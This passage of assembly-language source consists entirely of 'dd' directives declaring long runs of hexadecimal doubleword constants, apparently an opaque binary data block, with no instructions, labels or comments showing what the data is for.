		dd 0D5448085h, 1002FE7h, 5F05B38Ah, 4CDE9D1Ch, 0DD00787Ch
		dd 170478E1h, 1E000201h, 0B638F995h, 1C6B241h, 45D74215h
		dd 0EC80A471h, 3B07BCC5h, 2BEA60E2h, 1D330C00h,	98D76063h
		dd 9DEC0E25h, 0B1764000h, 0BAAF35E4h, 7E070021h, 30391970h
		dd 79021F17h, 8E843B34h, 2D4860BBh, 3F621F8Dh, 1D45C0D5h
		dd 0F1A82208h, 3DF28F00h, 78801158h, 6DD72444h,	9360004Ch
		dd 0A7BF643Fh, 7338960Bh, 7C5880C3h, 0E0E05332h, 1C9F4CC6h
		dd 1AAFE400h, 7B970149h, 20A8F000h, 6FD6168Dh, 9041h, 0B580DF34h
		dd 0D5705507h, 68005376h, 0F465AD1h, 24CFF63Ah,	598026Fh
		dd 29914F5h, 7ACEB08Ch,	0F042CF0h, 5F6ED52h, 36758880h
		dd 140D0220h, 0CA64F4A9h, 4E7340DFh, 2613056Bh,	0C0C39305h
		dd 8238817Ah, 6FB35C0Eh, 3567C048h, 31D845E5h, 0ACE8A961h
		dd 12FEE0A8h, 1566891Fh, 0F57CB1C3h, 4D18A07Bh,	0A380A0B7h
		dd 0C81E5C51h, 0C480E13Fh, 64D90AC7h, 675A5C5h,	47F94D01h
		dd 0C377679Eh, 5C7DD470h, 34281C20h, 0C0100F4h,	0C9D2E2F3h
		dd 0DD2CF0E4h, 7800B494h, 2B67E82Ch, 0AC28CF35h, 0F8AF3020h
		dd 0EE4864AEh, 0EA7D00BAh, 50FEC788h, 0BDAD2860h, 2687ADEh
		dd 0F0EDFF52h, 2E628B1Fh, 8070A426h, 48DA488h, 0DB027590h
		dd 0D2498441h, 3722E007h, 255A0005h, 3C76AF7h, 2C0FE374h
		dd 82D0D68Dh, 0E07047BAh, 9D41578h, 0F439CF75h,	84E04C09h
		dd 0A507AB57h, 7124EF9Fh, 834B2B07h, 0E08F961Fh, 9CAEE201h
		dd 0F3C68060h, 986CF750h, 3C249716h, 0FC04E4D0h, 9F4ECCh
		dd 5AAAC090h, 7407D773h, 0EC34C8B1h, 455549F0h,	9357074Dh
		dd 90173DE2h, 0A508B7E1h, 9D1FBF70h, 1E1787D9h,	0C21028D2h
		dd 0D336C194h, 1BD8E8C5h, 51920909h, 58006487h,	2FE6D00Fh
		dd 10638930h, 79BBB1h, 53F88830h, 5F51A4F4h, 96BD1200h
		dd 0AE3CFEAFh
		dd 63720Bh, 0BC8191A1h,	2004B21Bh, 28E558h, 66E1A8A0h
		dd 0A236464Ch, 0C0D94290h, 0B44E170Eh, 61A1BA14h, 10900797h
		dd 2485524h, 2CF4B6C3h,	6078DD46h, 6C649201h, 7049D056h
		dd 43007C3Ch, 0E64B4EA7h, 0E7398133h, 210D0A5Eh, 5A00FDC9h
		dd 0DE6B2866h, 52D4A8CDh, 0F70D0140h, 159BD4F9h, 1C79EC4Ch
		dd 20D5992Fh, 19F4D0B8h, 24F00F29h, 6EE00EF9h, 96B1FD59h
		dd 1AD46F01h, 0B652C90Fh, 9E3F9980h, 51ACE8F3h,	0CD313000h
		dd 39FBB1F4h, 0F0E3091Ah, 0D4A3C2D6h, 0A3D85DAAh, 0AF071D9Ah
		dd 0F84FFEC1h, 0DF8C200Bh, 992F9h, 0D24D5A46h, 6CCF0EA9h
		dd 94210F61h, 3D3002D0h, 526D1282h, 0A6144034h,	531510A2h
		dd 0ED71A57Ah, 4D1EF700h, 1FFD5CEFh, 8F2C0009h,	0B35E2B2Dh
		dd 0D48E130h, 28230FDCh, 0FC1401Ah, 6163346h, 9A3D56E6h
		dd 0E001008h, 0BC4042E7h, 0AEA3DDh, 1BB80C1Ch, 69DBFB82h
		dd 38A798A8h, 400008DEh, 5ABBE307h, 91964AA8h, 76ADE24h
		dd 0B5CF3B90h, 2D100115h, 0C6F3D77Fh, 797600EEh, 5FDF0975h
		dd 75D0C32h, 162092B5h,	983C536Eh, 0EAA50504h, 8160D3AAh
		dd 7009B720h, 7D044C70h, 0DEB5ECEFh, 980DA8C0h,	2B9E005Eh
		dd 17CFE016h, 3F1FB294h, 0C0000C22h, 0DDEBB6AEh, 8ED901BCh
		dd 90E1E0A0h, 1EE06F6Fh, 52E609EFh, 3080EAF5h, 0FE515C36h
		dd 0FCA08400h, 45F6BC99h, 635B076Dh, 0A019FD92h, 77D33B5Fh
		dd 348B4Ch, 9E13F688h, 26D4F8h,	6844E21Ch, 0C8C14A41h
		dd 0E0CEE100h, 62F9458Ch, 703903D6h, 5CF4BAD9h,	0B381D8B8h
		dd 1FAB1100h, 29FB693Fh, 743C003Eh, 0A44B8D04h,	4200A9C2h
		dd 36BDDC45h, 4E6B21h, 0BBFDAAD4h, 96947B9Eh, 0B76D7503h
		dd 0E076DA98h, 153899ADh, 0D8090E8Eh, 70D90500h, 1C1BE631h
		dd 3877A07h, 0C0877F4Ch, 23080369h, 40A4B2E5h, 162CF87Ch
		dd 1DD84F4h, 0D3E3E00Ch, 575BFCA7h, 4A40DF00h, 0B4D594C8h
		dd 0A5ED3CECh, 63E3E780h, 0F0315B87h, 8D1F270Fh, 0A4C037A0h
		dd 0B6D913C0h, 37F39F4h, 3B83E7Fh, 92E45011h, 10607428h
		dd 1D49AA91h, 2D5A1F7Ch, 0FC703D92h, 2CE59B89h,	0A6025F5h
		dd 4E641B94h, 848092BAh, 382F1188h, 23F49C49h, 46320019h
		dd 0CFA5ED8h, 1210C63Ah, 589CFDEBh, 0B69B0024h,	7802462Fh
		dd 0E51F19FBh, 207041D2h, 65B7BCh, 6D63A5ECh, 1D9B07F0h
		dd 0A48EA712h, 24C08C57h, 4E1125E5h, 189C0085h,	46345710h
		dd 5A3C8303h, 0B44C48E2h, 0D0EFB2C0h, 0FEB500A4h, 56F176A2h
		dd 1E0307B7h, 2AFA4F8Fh, 6FDFF845h, 2A80732h, 500EBCA7h
		dd 8F863422h, 0C700BDFEh, 78CD2F94h, 0F0968DDh,	43D2B407h
		dd 95C8B920h, 9F00A11Ch, 1F52E506h, 0A3E653h, 0A6053F8Bh
		dd 294C2F36h, 4FA6F2Fh,	0E88C70D8h, 0F35640D2h,	5548E601h
		dd 9A3C0213h, 2CA0074h,	0B59412Eh, 0DC403F16h, 0E904C469h
		dd 0B8B0C1E6h, 0AFEF2CC0h, 3D4400C9h, 0D7F2AA74h, 0E52E4DAEh
		dd 9104ECF8h, 9A09D615h, 0F15C1C20h, 0A001653h,	0A98C9CBEh
		dd 0E5B52743h, 0C030D053h, 6D64FAEh, 42A77E51h,	280518B3h
		dd 712FF380h, 2940B81Ch, 193682EFh, 58430011h, 2E8E351h
		dd 0ACF2385Ch, 0CEC3F109h, 4D30002Dh, 1466ADh, 24E7AFE3h
		dd 0F13E5452h, 65D4B800h, 9A84421Ah, 0DEFE1EEEh, 0FFFC00ADh
		dd 0B43F45DCh, 40ECA000h, 0ABF82AD4h, 6EE53C5Eh, 70B76A00h
		dd 41D7A1EDh, 957D2800h, 5CC48C71h, 90A74AA4h, 0B87661CCh
		dd 1B500600h, 9E2B112Ch, 0B990051h, 0A490A3DAh,	663964E8h
		dd 6FD801CFh, 0D16D395Ch, 0E6C97C20h, 0A3E74F3h, 54A52E88h
		dd 534F058Ah, 80E403F0h, 0FE903C61h, 0E0276DBh,	7DF3ACC8h
		dd 145858h, 0C6BE0BA8h,	3D356040h, 24B1C52Ch, 649E7D80h
		dd 7D6E10ADh, 0F694FDh,	58E77E04h, 120094A1h, 0CFC72964h
		dd 25BE8Ch, 81240E80h, 11BF832Fh, 2BEABC12h, 0F07120C0h
		dd 47ED00A1h, 0E6857DCFh, 6F0FDE50h, 52B62693h,	1484F412h
		dd 0AD77F0C0h, 0B7D606FFh, 187DFDD4h, 51E84700h, 58BCF99Ch
		dd 0C2ED24E3h, 14BD83ECh, 0E085833Eh, 8817F1D0h, 40AC39h
		dd 0BB11FFAEh, 2D0A2FE1h, 13FCA491h, 942AA082h,	450E5A72h
		dd 154B890h, 49E14DF8h,	0DF00203Eh, 0AC604A3Dh,	58006029h
		dd 80D1F1E2h, 51BD007Fh, 24FEEB1Ch, 5300CF73h, 0C61D41C3h
		dd 253D03h, 8A2AED4Bh, 22B92E04h, 80C7FB3Ah, 4773AE52h
		dd 0F97D93h, 0C1A5AC0Fh, 2CF3A5Ah, 0BB7C7104h, 56808022h
		dd 0E5B7E57h, 0F14363E2h, 0BE904EA0h, 590F25DBh, 823AD860h
		dd 804DECCFh, 0E5CB5188h, 45D30223h, 0D749AD71h, 0D088E8A0h
		dd 3E58214h, 722ECFEFh,	9FC00C40h, 35654B1h, 0AED01B69h
		dd 99D0CA8Ah, 4400AD0Dh, 0B897334Ch, 7FB6AF3Bh,	1480B04Dh
		dd 0C0A39BDFh, 77DD1EC0h, 0BE17F8EEh, 9840D946h, 0B4388156h
		dd 139600D3h, 7D230610h, 6C2C2E92h, 4A1C90FEh, 82396189h
		dd 0C017C334h, 1464BEAh, 0B081B3Eh, 0C1BD89B3h,	0EACBEC19h
		dd 80AADF00h, 0B8A35A45h, 224200F1h, 0A1F30236h, 2E030BBEh
		dd 3DDE1F1Bh, 0C6F400FAh, 0CBF837ECh, 38004B2Bh, 798A9554h
		dd 3E820776h, 0B76D652h, 90A18F0Ch, 269BECE3h, 9A8DFDA8h
		dd 94F838h, 61EAC54Fh, 7A3029E0h, 0FEA7001Bh, 983326A8h
		dd 49FE9CD2h, 153E6200h, 0FB44268h, 9BFD0041h, 0AB30950Bh
		dd 7B982293h, 6F7E8807h, 8D7082A7h, 360586h, 0D5D8EA48h
		dd 2429B0ECh, 1C033F3Dh, 0AB800E2Ah, 0A955FD12h, 34E80058h
		dd 4ADD7AF9h, 0A00017E0h, 5456295Ch, 0F5070Ah, 75D09ADCh
		dd 0C921C49Dh, 0AC03B500h, 87449204h, 93BB0731h, 2090DC1Ah
		dd 46CCB81Dh, 56DDDA01h, 0CDBD4FB6h, 0BA2CD4h, 0F93093D8h
		dd 0A6C1C361h, 9484FA00h, 7E9EB104h, 0ECC8072Ah, 65C53185h
		dd 446090E6h, 0FC001529h, 0F610A9BAh, 0E2A656h,	68AABC50h
		dd 8FDCE57Bh, 0C5BF7000h, 0D376917Fh, 0A82A17EAh, 2058492Bh
		dd 4384487Bh, 0A8A04BC4h, 10800075h, 0ED4D897Ch, 90FE0FCBh
		dd 0A8D09D16h, 0E0EA330Eh, 0D9744F18h, 52F21CB8h, 978C0D4h
		dd 7B200F82h, 0C2ADE007h, 6310C442h, 7F6E8CD0h,	8E060005h
		dd 0EE6DE3D1h, 10BEA21Eh, 0E03A3F0Fh, 0BA68C1B6h, 54B236h
		dd 0FCF3A9B8h, 0D56A025Eh, 18092630h, 7453E4B6h, 68C315CFh
		dd 0AB2018A0h, 6A0D8E1Eh, 37026E40h, 0D05457h, 0DF0E7DE9h
		dd 8314CCF4h, 1F4DBCA0h, 0B6C9E000h, 0BFF9804Bh, 3D521404h
		dd 267F4CF7h, 80806109h, 0F1371502h, 0D77068BEh, 81CEF28h
		dd 0F7283F07h, 0CB201253h, 0A8F36CCEh, 4CDEE5B4h, 0A9001157h
		dd 0D19CDF36h, 0A600A54Dh, 0E449546Eh, 1F980B2Fh, 9C39592Dh
		dd 23F9C0B3h, 0A3161413h, 620EDAF8h, 23541EBDh,	1053493h
		dd 3FA5B18h, 0F47B10EFh, 45065A66h, 35FF21C1h, 0DA361320h
		dd 54E4C037h, 0FA7FAD61h, 7B009590h, 11A559A8h,	18E5513Bh
		dd 18B081ABh, 0B53521CAh, 608340D6h, 6E3C7B6h, 0C271C024h
		dd 281B60BAh, 7C72B553h, 79F88CA8h, 0A855E238h,	0F9D7B039h
		dd 501E8C56h, 91CA8930h, 8451C77Eh, 0E733C1F4h,	0AAD1871Ch
		dd 7B601EABh, 6710C638h, 1ED3416Fh, 0B7786B61h,	56CC50BDh
		dd 44181924h, 0A510FB23h, 0B98C0ADh, 0D555F073h, 5439F40Ah
		dd 7E006033h, 16D92E68h, 38D103BEh, 896695C0h, 578058A8h
		dd 9D2A3200h, 679939DEh, 0C6AC3E20h, 0F95DCF8Fh, 9032F607h
		dd 0BF08698Ch, 59DFD30Fh
		dd 718F803Dh, 4C7F86BCh, 5D0042A1h, 0A85EC15Ah,	3C07B9B3h
		dd 71316E55h, 3F95B411h, 1C7B08D4h, 80A49C88h, 0D41E7EB0h
		dd 0E700DDA3h, 0C409331h, 7AAB7D38h, 0D8DA157Fh, 3624A4D9h
		dd 0BA5F0063h, 28F6E16Eh, 0B4AD1709h, 1450105Ch, 90AE54BDh
		dd 85754FB5h, 0E5C03E4h, 10067C60h, 7038A5AEh, 0C0DB3918h
		dd 0FEDF7D74h, 65E0E97Fh, 6A550068h, 521D03A3h,	9A03A657h
		dd 0F8EDA4EAh, 0EC16C028h, 454B0AD0h, 3E38B917h, 8B4C0070h
		dd 4438488Ch, 0B9C0F022h, 0D5C3BAA4h, 0A935610Fh, 0E8110727h
		dd 95002E8Bh, 4EB20B9Ch, 0B4A31Dh, 0D35D0DFBh, 3746715Ch
		dd 0A026579h, 472F1BF4h, 0DBF4493Fh, 259A20h, 4D468690h
		dd 0D74C05BBh, 0C2200890h, 4FA20068h, 24CE7759h, 0FA009E5Ah
		dd 0BF7E0F87h, 6FFBBAh,	0F5EB9F37h, 3308DD3Ch, 0E4008275h
		dd 0F4850C5Fh, 187CCEAAh, 40BB7F83h, 8C0C6D1h, 8F1AD2D8h
		dd 2526071Fh, 90EFBDDDh, 6E4D0B7Ah, 0ABAD8018h,	734AB529h
		dd 9D0400BBh, 19C578B0h, 6C0835A9h, 474453DCh, 863FB06Eh
		dd 0F40E1DD3h, 801037D9h, 1B6E65Fh, 0F2A4008Bh,	0A2958879h
		dd 290794B1h, 0E590885h, 0B4840F31h, 3A0CD0F0h,	0D70F8BF9h
		dd 8E23E2E3h, 6000D1E4h, 0FF3F12CEh, 703132h, 0DEEBF054h
		dd 0EA057155h, 89AAD730h, 7B4A3Fh, 0E9E1B9F2h, 0E8E5F80Ch
		dd 53E4427Ch, 0AF011C74h, 2F6ECD57h, 0AC5167B8h, 4180A3D1h
		dd 0A9174DDDh, 4E00BC2Dh, 871FDC20h, 7845747h, 0BAED3EFDh
		dd 85E010F7h, 0CD61A6D0h, 1FA9BF39h, 0EC07A8BCh, 267C5905h
		dd 0A2016196h, 7AAAFB9h, 6BFC1083h, 0D93467E5h,	9ECC538Fh
		dd 5FF15380h, 708A907h,	1E333FF2h, 500FF07Fh, 180D2716h
		dd 4D076EFCh, 14A0F9A7h, 0E0CBB50Ch, 0F45D0064h, 0DB924CC8h
		dd 0D2008D36h, 0FCA1D48Ch, 1682719Eh, 80E00AE3h, 0AEBF1080h
		dd 4039546Fh, 631FD384h, 7567849h, 0A311EAC0h, 711C30C3h
		dd 6403FFE7h, 7459D27Dh, 88BF9Ch, 6C03274Dh, 8C72204Bh
		dd 5840FC07h, 0B4A04C7Ch, 9B918Dh, 0D7DDC4Eh, 4A06E346h
		dd 0D9B5C000h, 0EF394B7Fh, 6E590C75h, 5689F679h, 620A3EECh
		dd 34B52ADAh, 8D3B2900h, 1E7D223h, 25FB0E3Dh, 0DC7F3646h
		dd 0F700EE43h, 0EF9CACECh, 506FCAC2h, 7F6C67h, 314C79D9h
		dd 0C586B0E9h, 0F8B4FB25h, 19DD010Ah, 5A6D2AADh, 6880F039h
		dd 5E639001h, 5FF97BD7h, 5894F89Dh, 282F51D3h, 0A84059DEh
		dd 0F3C7CAD2h, 0E59EEB9h, 0B03E8BBBh, 17E009EEh, 4C97C2A7h
		dd 0E1C15D00h, 65ADFD34h, 87D403DFh, 0B7D21886h, 0C24E0818h
		dd 0A51320h, 53631165h,	9A1AB952h, 6A988400h, 9877A7Ch
		dd 0B01300D7h, 17463CB6h, 390049B3h, 8D78C76Eh,	0B9474Bh
		dd 7B5D3484h, 0CB5E0CE7h, 44EAF600h, 0C76DFAEBh, 28AB6C70h
		dd 610C5D91h, 115F97F8h, 4E1007AAh, 0C0760A24h,	8628375h
		dd 57AEA80Ah, 465E6841h, 50E6485Ah, 350725E2h, 28986A41h
		dd 321BAA3h, 0B634F768h, 9000A0EAh, 9EDF81C1h, 7D113CFh
		dd 0D97A77FCh, 355643E7h, 8262000h, 3A5A99Ch, 0D197606Eh
		dd 7735FA7Fh, 10AFE837h, 5741A140h, 0F1025CACh,	0CE00A73Bh
		dd 60F35601h, 8E0035E6h, 0A034B6BFh, 0ED5E67h, 0AE3B453Eh
		dd 814B74E2h, 2D3FF600h, 0AFE04275h, 0BF880049h, 67A9DB7Fh
		dd 7B17FDB8h, 88004D20h, 89EA76E4h, 0CDA126AFh,	0F2003CD9h
		dd 996BE795h, 0F900E436h, 5E3D3166h, 7E7A02E5h,	71A91D25h
		dd 18243Bh, 0BA88AA8Eh,	7C0706A6h, 4B97990Eh, 50CD87E7h
		dd 0CD452980h, 505C01F1h, 89B11C0h, 3A3EB4Bh, 0D66C1734h
		dd 33A3168Ch, 0E1962118h, 0F2FD5748h, 86BA00B2h, 5E1E4CE2h
		dd 3A0F5B41h, 38EE3E0Dh, 0FC73B31h, 7A7F9118h, 702E4980h
		dd 61E947F6h, 3A20806Ch, 0FF559107h, 8EBE0012h,	14DFC82h
		dd 0D3A2A2AAh, 6C569021h, 0E5AC401Dh, 10E697BFh, 0E4C018DBh
		dd 0EF4BDC60h, 6A14A310h, 7A803DC8h, 81364B15h,	51B7021Ch
		dd 3FC32F80h, 5B7388A0h, 1400A7AEh, 0E1BD1992h,	0C57D65Dh
		dd 0F99A889h, 671DE7B0h, 0A9C0B668h, 2ABB79F7h,	28E732Fh
		dd 6483F306h, 0E4801309h, 0F23A1233h, 2098DD07h, 0E46036B8h
		dd 0DCE7B0h, 0EAD995C7h, 2361CCECh, 0AAF30807h,	597073ADh
		dd 883FEEh, 8470557Ch, 0D2BD78C5h, 3600EAE2h, 37DE0F7Eh
		dd 24F48C51h, 69DDFFBh,	0F8CF11B9h, 0B03B7B01h,	7AD4B6E9h
		dd 0AEF8A06Eh, 4D00AF70h, 0C3F980DEh, 7EB66104h, 3508C3ACh
		dd 1000C859h, 0AE86C9Bh, 0E2B31E27h, 0E0CFB001h, 0FF160CBDh
		dd 583C053Eh, 4B569B1Dh, 984F28F1h, 14B38B10h, 0D5082181h
		dd 2B51FB62h, 8232599h,	8C802D14h, 0CAF54180h, 1C670019h
		dd 2D5E040h, 4800C6B0h,	602A20BBh, 3946B6E2h, 548CA585h
		dd 40F60364h, 8C6E4800h, 0FCDE659Ch, 77703D1h, 0FFAEF517h
		dd 85D77CA0h, 8734BC03h, 801ED357h, 0B8902FC9h,	6749028h
		dd 6CE8FC95h, 0FC809EAFh, 0FE4BC8Fh, 20C07630h,	652FFAh
		dd 0C7B1D089h, 91A3DC2Eh, 857ECE07h, 0E090D5B8h, 0FA9E68E9h
		dd 0C9AF0073h, 109C36A1h, 37EC223Fh, 408D8500h,	1DE396F7h
		dd 68AB3857h, 0CB419A8Fh, 210AFB73h, 500084EBh,	0E98F6ABCh
		dd 0DA0431A3h, 0F85940B8h, 1A01A4B5h, 0C16DB2D6h, 88ECCB2Dh
		dd 68D71C67h, 0EC46D831h, 0E9FC8B36h, 4117997Ch, 0F1C710Dh
		dd 9BEC9240h, 45CCBFh, 0D6C13BCBh, 1776166h, 7BC6F91Fh
		dd 50C791C0h, 0A0EDA5h,	0E44E8A79h, 1C99CC5Ch, 0C182B900h
		dd 0A397511Ah, 43E703A1h, 7FAF1DDBh, 80194199h,	81D8BBBCh
		dd 78C5FBFh, 0F8CAB3FFh, 56B89072h, 0AE607A9Ch,	9FFD7CD0h
		dd 0D9190049h, 5F432E5Ah, 3305C12Bh, 644E7ABEh,	0B89AD483h
		dd 0BD9FEEh, 1B7C2C4Fh,	0A01809BAh, 31645600h, 0CC1586E8h
		dd 0F0B14EFh, 74F8D2h, 5EACA734h, 0C2F7E510h, 0A281E0A0h
		dd 91275A03h, 0C839A985h, 255544h, 80E2FC08h, 4FD2F5CDh
		dd 0AC795E00h, 0B4A58415h, 0A6FA00B9h, 6FF98BA7h, 0B56004BDh
		dd 443228EAh, 428D1C21h, 0E9C74029h, 4FFD199Eh,	255DAC00h
		dd 92AEFA71h, 16D200EAh, 0FE890F6Bh, 8E00C704h,	852B14C2h
		dd 0E4033758h, 0D0E69Fh, 26958971h, 4434C06Bh, 69044C09h
		dd 606C12EFh, 24BBE51h,	0FE0F949Fh, 6840E0DCh, 4C006AAFh
		dd 0F61475BDh, 6DA603h,	5F20F2E9h, 261B2313h, 6E9F620Eh
		dd 0BCC9C351h, 853BE822h, 0F07700CAh, 9173C34h,	6E006A7Bh
		dd 127FF20Fh, 0FD6CBF9h, 4B9FE413h, 0BF774D01h,	0A09024DDh
		dd 7A79558h, 924666FEh,	0EFE6E0E0h, 5F240040h, 0FD08DB35h
		dd 0A3B0B361h, 4AD4BE1Dh, 6E787080h, 1CA1D884h,	1FF743DAh
		dd 133A4005h, 37AA9F27h, 8059D430h, 3E8A6FDh, 0D653EF55h
		dd 61B0ECDEh, 2200F96Bh, 0BD4F67E3h, 0E9A8835h,	0CD9BEFA6h
		dd 60CE15C7h, 0F6B457FFh, 351FFD00h, 7D754E09h,	7771001Bh
		dd 49C60DB3h, 5500C83Fh, 4138D26Eh, 1E723E0h, 8BEE0FF5h
		dd 0E437C161h, 0C32853BAh, 5A0090C7h, 94EBA36Bh, 0EE5CFBCFh
		dd 93F90C78h, 617889CBh, 0E8D0D80Fh, 0FAEC00FFh, 2696A9DAh
		dd 7645323h, 507B2ECBh,	0F9C5C899h, 3C073501h, 0CD4A93D4h
		dd 6B29C4h, 0EB1BBA3Eh,	67B0FA75h, 0EE6F4500h, 5EBB1E54h
		dd 44C30039h, 7AFE7DDDh, 37127869h, 890027ECh, 398B9C46h
		dd 1FC7002Eh, 0AE43F751h, 0B47D47C6h, 3D6B7C03h, 0C00BF0BDh
		dd 1D91DD4Dh, 7E66AAC9h
		dd 0B188DA80h, 0B5580E33h, 0F4D0501Ch, 0DF17A880h, 6898A4h
		dd 42152595h, 0FC52855Ah, 40A51800h, 87A9C0EEh,	16D979B8h
		dd 0B30328h, 264DC380h,	0CF008251h, 0B6102422h,	328A17h
		dd 95732E42h, 2DA13935h, 76333E00h, 8303D6B0h, 819200B9h
		dd 97A53AA4h, 0D4E39B6Dh, 280361D9h, 57BB4B24h,	3F41A045h
		dd 467EA2h, 0C4BDC789h,	2B5E9009h, 0ADC3E700h, 191B3613h
		dd 0E96A00C9h, 6596F4DFh, 5802D906h, 0E7800163h, 86A140A1h
		dd 79AB0049h, 264CB3D2h, 0FE00F35Eh, 0F03DFDBDh, 3A97DFDDh
		dd 0A68121F1h, 9431041h, 0D7E5FC67h, 9CFFDB75h,	0B8809A58h
		dd 4D8B18FAh, 0F3BC0069h, 97F28DDEh, 5E00E246h,	0FC0616FBh
		dd 0EA3FA6AAh, 3E420031h, 1F9B8E39h, 0F805F65Fh, 7E64EDEFh
		dd 0D9E69700h, 351792h,	1B812D89h, 54D5F78Dh, 0D6080500h
		dd 0DAD47A8Eh, 6B630070h, 0F91BF622h, 41005232h, 962A0DBAh
		dd 0E874331h, 0E1323ABh, 8E3AA960h, 86078432h, 4BD063B3h
		dd 0A3986241h, 0CB4AB03Ah, 1FD11800h, 0D4F084B1h, 7EE679FCh
		dd 0DD2C1F6Ch, 0AC06C019h, 1FE707A0h, 80046F6h,	9D60F610h
		dd 7C77FCAh, 1B82449h, 0C6A410A9h, 0DD009537h, 7B26B3ECh
		dd 0FC913DAh, 29BFF706h, 6E470517h, 0F281002Bh,	35165466h
		dd 8948A303h, 0D021E61Eh, 5EAEF1Ch, 5DB58A94h, 0C8C2C10Fh
		dd 7CF8E8BFh, 5372E01h,	7EDDD2F6h, 725780E8h, 0E9D93E1Eh
		dd 2F88D687h, 0BE40D097h, 8CA84CC6h, 0B88384E8h, 71885492h
		dd 19AA008Dh, 1F01FBE3h, 9600B004h, 0BC53B895h,	1FD4051h
		dd 0EED5F542h, 0D857BAA7h, 170128A6h, 0EDD2DFD4h, 56D43A92h
		dd 710B0043h, 79525915h, 0B200D432h, 1572FF5h, 0AD30C6h
		dd 51CB9EFAh, 0CE67DCA1h, 0CD37C000h, 6C8CEC57h, 1F72E8D7h
		dd 80057D86h, 985A961Bh, 0D5091444h, 802C3D8Fh,	59CFEA5Dh
		dd 5BEE00A9h, 0B4A20464h, 0AD128654h, 14003865h, 26214392h
		dd 5C4C803Bh, 7CC38A05h, 0AF80AB86h, 48AD421Fh,	0CC0086BBh
		dd 6303B8A4h, 9A48470Ch, 1F451278h, 80EB4100h, 6D84FFh
		dd 1EB1134Ch, 8D249EDCh, 0C1B33107h, 3E30D41Ch,	78E6375Bh
		dd 5AC90061h, 9E8F828Ch, 1E1D327Eh, 9B893197h, 1378013Ch
		dd 0A0498DF7h, 3B06E4h,	1AFD2260h, 2E139B7Dh, 0A978ABF2h
		dd 0D1EA3Ah, 727061B5h,	73CA8Bh, 1BF85408h, 29E2B6Dh, 0D60F8600h
		dd 5DBBE4C5h, 54570064h, 6544312Eh, 7B00DC96h, 56D41172h
		dd 1C9A9Eh, 0DDA480BAh,	0B3B50761h, 9519B00h, 90C772BBh
		dd 0C43C0F2Ah, 0A2401CA6h, 0B23E5531h, 22073D98h, 3D0368F3h
		dd 0D8CDA380h, 7D4802EFh, 6CE173B9h, 27782060h,	0C8AD8F00h
		dd 0BAEF9E32h, 88400CFh, 1E626DDAh, 0C9000D79h,	14690522h
		dd 0C0BAADh, 0AC83AEE6h, 6CE9ECA1h, 7A2A393Ah, 917CC879h
		dd 9826021Fh, 3A2B31C0h, 1F6086F2h, 6B1C2h, 52A77CB7h
		dd 5524F3C5h, 0E02098EBh, 57AAC01Dh, 0B1839380h, 2D3587h
		dd 1BABC8Fh, 9ED7C1FBh,	82DAE600h, 4AB34033h, 0C42B07D0h
		dd 0D08870F1h, 535FA0Bh, 1ADAA38h, 193AA614h, 61B916A4h
		dd 96421Fh, 0E561EB34h,	81071592h, 0ADCE9585h, 11661B60h
		dd 0CF3D0D9Dh, 0E298E25Ch, 0C0D4AA61h, 7500E590h, 2DA61B95h
		dd 0C915A10h, 175D18DFh, 7B1EA861h, 7A006476h, 0CB8CEE96h
		dd 0C6DB03FCh, 5F6AAF3h, 9ED21800h, 0B1668DB0h,	3890066Eh
		dd 691389B2h, 9E461003h, 14F19530h, 60A61980h, 76639601h
		dd 0D183A2EDh, 1951F417h, 3170A754h, 6889500h, 0A35DDE7Ah
		dd 0F73C0083h, 28CEAB46h, 2E00E6D5h, 0E438B9EBh, 0E591A47h
		dd 5C81F755h, 3FC89BC1h, 0DDF6D8F3h, 0B3322A1Ch, 0DFF2F900h
		dd 7F41E49h, 409E23E6h,	0AE4701EBh, 3AF8CCEEh, 0DEB90500h
		dd 7C1A39F4h, 0CBD50044h, 0BEFAC3DAh, 0E90BB275h, 872504CAh
		dd 0D1A136FAh, 0E180A64Eh, 0CCE3D8BCh, 0B37E87EFh, 0D70F4A76h
		dd 0E37E495Bh, 0B777C629h, 480931B2h, 17CC14h, 94C8FAABh
		dd 0B9D39BADh, 78C681Ch, 0DE43E703h, 0E0283F09h, 9E0C6426h
		dd 0D1F6413Eh, 5740ADC7h, 2BFBB098h, 0D916C6FDh, 2D063DDFh
		dd 99AA4Fh, 0DAF2423Ah,	0B5B157E7h, 7DB85B01h, 5AD6C280h
		dd 79B43060h, 36578AEh,	89FEC4C6h, 5CE0C80Eh, 0D1E40C9Bh
		dd 16B66E00h, 5AE7F842h, 0D8E216B5h, 67E20CCEh,	151CC999h
		dd 83C07E6Dh, 1B6B8471h, 0C6200743h, 906022FEh,	97C5CDB7h
		dd 148C772h, 324301ACh,	89669BC3h, 15952440h, 5A340E2Dh
		dd 9DC7183Fh, 8199090h,	2A3EE6E8h, 0FF67800Eh, 89AAFD1Fh
		dd 0DEF809h, 0E4E0A3ACh, 0F8BFB51Dh, 0E5A92B0Fh, 47011234h
		dd 0E80F57E9h, 0C8A14D70h, 0C287A929h, 5790C8FFh, 6DD95Fh
		dd 3A69CFA7h, 8679423Dh, 807AEE2h, 0B1F23F21h, 0DFAC9800h
		dd 1504000Eh, 84A0D95Eh, 0DA00C110h, 63C9A9F7h,	662218h
		dd 90121BE7h, 57D85E56h, 84D3E907h, 0AA675D28h,	0A3CC55C0h
		dd 15970059h, 94E011EFh, 0DF00EBFAh, 0AFF7CA34h, 0B9E2A5h
		dd 0D5B01FF9h, 742FE4C3h, 2E38711Fh, 0BA6B4400h, 0B71DD9h
		dd 667F1032h, 0C835CE6Fh, 810DF500h, 0CA2201E6h, 2E4F0ABEh
		dd 1FA0E7F3h, 0FF07C75Dh, 0EE4750D5h, 0E374A49Ch, 6B45DC03h
		dd 9BF7504Dh, 9BE1D037h, 0FF76FEh, 0C64E869Ah, 41160C20h
		dd 6A437103h, 0E0A649ACh, 0BF4B8Eh, 0EACCDB67h,	8104C53Ch
		dd 0E80B5573h, 7F914Fh,	0E5878D49h, 1A3500D8h, 0AFA520Bh
		dd 3D05F46Dh, 7AFB6BA7h, 0C0FBB385h, 0CFA805C0h, 0B0B6E60Fh
		dd 6003EB8h, 82168880h,	0D7865C44h, 694B6E07h, 0C03E9FFh
		dd 0C8A812C2h, 6D0076D1h, 0DCC7A035h, 0F537F69h, 0A6FB794Dh
		dd 3D8808E0h, 9A71CC0Fh, 849C8300h, 92ABE83Ch, 735B0078h
		dd 0D8AF1662h, 98003ED6h, 47350F85h, 77E39D6Ch,	21F604Bh
		dd 0D4B8972Ah, 46D03000h, 338F2302h, 0C1B007Fh,	93C9DC2Bh
		dd 0DD1C3EBEh, 4480E5A7h, 48F4C0C4h, 38F90068h,	0F6A290F1h
